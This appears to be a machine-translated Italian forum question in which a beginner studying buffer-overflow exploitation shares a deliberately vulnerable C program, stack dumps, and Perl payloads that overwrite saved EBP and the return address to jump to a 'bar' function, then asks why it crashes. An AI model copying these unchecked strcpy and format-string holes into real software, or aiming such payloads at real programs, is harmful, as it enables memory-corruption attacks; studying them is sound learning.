Sono abbastanza nuovo per sfruttare lo sviluppo utilizzando buffer overflow. Ho trovato un codice di esempio in un libro a cui mi riferisco e il codice di esempio non viene eseguito correttamente. Ecco il mio codice ...
#pragma check_stack(off)
void foo(const char* input)
{
char buf[10];
printf("stack is: \n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf,input);
printf("%s\n",buf);
printf("Stack is now:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Hacked");
}
int main(int argc, char* argv[])
{
printf("Address of foo is %p\n",foo);
printf("Address of bar is %p\n",bar);
if(argc!=2)
{
printf("Please supply a string as an argument");
return -1;
}
foo(argv[1]);
return 0;
}
Compilare il mio codice usando la suite di compilatori MinGW per Windows, e quando eseguo il programma dalla riga di comando, vedo l'output del contenuto dello stack.
Address of foo is 00401340
Address of bar is 0040137D
stack is:
00401280
0032D000
0000001B
0060FECC
B76EDE61
0060FFCC
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
Hello
Stack is now:
00710CFA
0032D000
0000001B
0060FECC
6548DE61
006F6C6C
7786D1F0
B76EDBA9
FFFFFFFE
0060FF18
004013F0
Fin qui tutto bene, vedo l'inizio del mio buffer e anche l'indirizzo di ritorno della funzione, in questo caso 0x004013F0
. Inoltre, EBP è pari a 0x0060FF18
.
Il problema inizia quando fornisco un input che sovrascrive EBP . Anche quando EBP viene sovrascritto, ottengo un errore e il mio programma si arresta in modo anomalo. Il mio obiettivo principale è quello di sovrascrivere l'indirizzo di ritorno per ottenere la barra di esecuzione del programma (). Sovrascrivo forzatamente EBP e poi fornisco anche l'input che cambia l'indirizzo di ritorno in bar (), la barra viene eseguita, ma il mio programma si arresta in modo anomalo.
Ho provato uno script perl che invia l'indirizzo come input compilato. Realizzo il mio input in modo che il valore EBP non cambi.
$arg="AAAAAAAAAAAAAAAAAA"."\x18\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="ydy ".$arg;
system($cmd);
In questo caso, l'indirizzo di ritorno non viene sovrascritto. Ma se cambio l'indirizzo in
$arg="AAAAAAAAAAAAAAAAAA"."\x12\xFF\x60\x00\x7D\x13\x40\x00";
$cmd="sample ".$arg;
system($cmd);
Il EBP viene sovrascritto e restituisce anche l'indirizzo. bar () viene eseguito ma il programma si blocca. Le mie domande sono: 1. Perché la corruzione EBP causa il crash del programma? Non l'ho mai saputo. 2. Perché l'indirizzo di ritorno non viene sovrascritto nel caso 1 dello script, ma viene sovrascritto quando l'input creato sovrascrive EBP ?
So che è lungo, gentilmente aiutami. Grazie.